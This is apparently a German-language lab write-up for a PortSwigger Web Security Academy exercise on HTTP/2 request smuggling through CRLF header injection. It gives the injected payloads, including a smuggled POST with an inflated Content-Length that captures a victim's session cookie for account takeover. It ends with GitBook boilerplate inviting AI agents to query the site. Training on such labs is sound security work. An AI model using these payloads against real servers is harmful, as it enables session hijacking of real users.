> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# HTTP/2-Request-Smuggling über CRLF-Injektion

Notizen zu HTTP/2-Request-Smuggling über CRLF-Injektion für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### HTTP/2-Request-Smuggling durch CRLF-Injektion

Dieses Lab ist anfällig für Request Smuggling, da der Front-End-Server HTTP/2-Anfragen in HTTP/1 umwandelt und einige eingehende Header nicht ordnungsgemäß bereinigt.

Das Ziel besteht darin, einen spezifischen HTTP/2-Smuggling-Vektor auszunutzen, um auf das Konto eines anderen Benutzers zuzugreifen. Das Opfer besucht alle 15 Sekunden die Startseite.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2a9fc115de17b87ef9095d32bca4d1fa72ce6e%2F%7BBC934485-CFD3-41F6-96DE-952340034060%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Es wird beobachtet, dass die Anwendung einen Suchverlauf führt, der direkt mit dem Session-Cookie verknüpft ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a5a52ae77ccd059db6a86bb117e0b2b62afdc23%2F%7B84A82527-6131-472A-B9EE-A6D0C8569625%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir beginnen mit dem Senden einer Testanfrage, aber es tritt kein ungewöhnliches Verhalten auf

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

Die Untersuchung zeigt, dass die Validierung der Header im Zusammenhang mit **Transfer-Encoding** ist unzureichend. / Also versuchen wir, die Filterung zu umgehen: Entfernen des ursprünglichen `chunked` und Hinzufügen eines neuen beliebigen Headers in HTTP/2.

```http
Transfer-Encoding: chunked
```

Burp fügt hinzu:

```http
Name:
test
Wert:
test
Transfer-Encoding: chunked
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50b13f69fd7c5e547cb735c3f85da81ee84e60f0%2F%7B21907EDE-8063-484A-8F15-A2E56DBAA61A%7D.png?alt=media" alt="" width="358"><figcaption></figcaption></figure>

Der Server akzeptiert die Änderung, was auf eine unzureichende Bereinigung der Header hinweist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dd47c42c1173e9d7137a19b45640083d893f87b%2F%7B59533219-2480-4BCD-9018-F4D7B976B2A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Die Idee ist, das Opfer dazu zu bringen, **eine Suchanfrage zu stellen, die unseren eigenen Session-Cookie enthält**, während wir einen übermäßigen **Content-Length** einschleusen, sodass seine nächste Anfrage mit unserer zusammengefügt wird.

Eingeschleuste Nutzlast :

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

Wenn der Server die nächste Anfrage verarbeitet — die des Opfers —, erscheinen deren Inhalte in unserer Antwort und integrieren **ihre Header und insbesondere ihr Session-Cookie**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-696030f13d9066955a503f32f93e0d7abf918af6%2F%7B68CD39C5-D8A4-44FC-A3EA-8F2E488E5266%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Also können wir **die Benutzersitzung übernehmen** und auf sein Konto zugreifen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09e72ec4ac052f796038da64c4742eff39c4b73c%2F%7BE13AF31E-EC5C-4851-B4B7-DB86EAD6CFED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
